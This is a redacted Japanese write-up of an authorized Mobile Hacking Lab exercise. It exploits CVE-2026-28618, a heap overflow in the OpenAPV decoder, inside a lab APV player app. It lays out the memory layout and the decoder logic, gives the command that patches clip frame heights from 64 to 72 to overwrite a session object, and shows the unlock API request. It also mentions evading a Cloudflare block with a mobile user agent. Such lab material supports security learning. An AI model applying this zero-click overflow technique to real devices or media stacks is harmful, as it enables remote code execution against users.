
CVE-2026-28618 / StreamBox APVラボに関する墨消し済みノート — FRAME高さの不一致を介したセッションオブジェクトへのヒープ書き込み
StreamBoxにおけるCVE-2026-28618 — 実環境で悪用されたAndroid APV RCEと同じデコーダクラスを、セッションオブジェクトに対するヒープ書き込みへと変えたもの。
このリポジトリは公開された編集済みの解説記事である: フラグ、インスタンストークン、HMACキーは省略されている。APKとmake_clip.pyはMobile Hacking Labに帰属し、ここにはミラーされていない。

StreamBoxは小さなAPVプレイヤーである。APVはAdvanced Professional Video (RFC 9924) であり、Samsungのロイヤリティフリーコーデックで、Androidのメディアスタックに搭載されたものと同じファミリーである。ラボの売り込みは一文で表される: プレイヤーは共有クリップを到着時に再生する。
SEND、VIEW、またはstreambox://?url=…によってファイルがfiles/incoming.apvに置かれ、NativeDec.loadClip()が実行される。クリップへの追加タップは不要である。
バグはCVE-2026-28618である: OpenAPVのdec_frm_prepareにおけるヒープバッファオーバーフロー。同じクラス、同じデコーダであり、今年初めに実環境で悪用されたゼロクリックAPV RCEであるCVE-2026-0006と同様である。
ラボはその書き込みをゲームとしてパッケージ化している。ハードコードされた64×64のYプレーンをオーバーフローさせ、隣接するセッションオブジェクトを破壊し、teardownをhandlers[2]へリダイレクトすると、Workerがフラグを返す。
キットはラボからの2つのzipである:
streambox-lab.apk.zip — プレイヤーmake_clip.py.zip — 64×64ライブラリクリップの構築方法と、オーバーフローさせるビットストリーム
PlayerActivityは以下を行う:
NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);
// WebView bridge later calls Android.openTier(status)
openTier(1)は部分的なヒットである (セッションに触れるが、トークンが一致しない)。openTier(2)はwin()である。PremiumActivityはネイティブ状態をラボへPOSTする:
POST /api/unlock
{
"instance_id": <from POST /api/instance>,
"tier": 3,
"session_hex": hex(sessionProof[64]),
"ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}
起動時にアプリはすでにPOST /api/instanceとNativeDec.setPlatinumToken(token)を行っている。そのトークンこそ、オーバーフローがセッションへ書き込まなければならないものである。

arena = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F; /* bytes: "OBMAERTS" */
oapv_imgb_tは64×64、10ビットYUVにハードコードされている。プレーン0 (Y) はarena+0から始まる。64 × 64 × 2 = 0x2000。pad == 0の場合、セッションはYの直後の最初のバイトに位置する。
oapvd_decode()はFRAME PBUの幅/高さで書き込む。64より高いFRAMEは、10ビットサンプルを直接sessionへ書き込む。
デコード後:
if (session->token == g_token) { /* +0x08 */
if (session->handler <= 2) /* +0x0c */
g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

ラボのジェネレーターは64×64 RGBの32フレームを描画し、yuv422p10leへ変換し、OpenAPVリファレンスエンコーダーを呼び出す:
oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1
同梱の各クリップはFRAME 64×64の32アクセスユニットである:
[u32be au_size] ['aPv1' + PBUs] × 32

プレイヤーは依然として64×64を割り当てる。すべてのAUのframe_heightを64 → 72へパッチする:
python3 scripts/patch_frame_height.py clip_pulse.apv -o overflow_height72.apv --height 72
それを共有する (SEND / VIEW / streambox://?url=)。自動再生がエクスプロイトである。
よりクリーンなオーバーフローは、make_clip.pyのHを72または128へ編集して再エンコードし、追加のY行が実際の画像データとなるようにすることである。幅64の10ビットプレーンの行64は128バイトである:
OBMAERTSでなくなる必要がある)g_token)2APVは非可逆である; oapv_app_encを通した正確な10ビット値はQP 0 / ほぼ可逆を要する。
親バグクラスに関する関連公開PoC: mobilehackinglab/CVE-2026-0006-openapv-poc。
PythonのurllibはCloudflare 1010を返す。モバイルUAを伴うcurlは機能する。
Workerは元のマジックをno overflow evidence: session magic intactで拒否する。ASCIIのSTREAMBO (LE uint64とは異なるバイト) は書き込みとしてカウントされる。

# fill TICKET_KEY in scripts/unlock.py from NativeDec.ticketKey()
python3 scripts/unlock.py
win()はloadClipが2を返したときにプレイヤーが表示するものである:

dec_frm_prepareMobile Hacking LabのStreamBox演習のための許可されたラボノート。APKなし、ライブトークンなし、フラグなし。所有していない、またはテストの許可を持たないものに対してこれらのプリミティブを実行しないこと。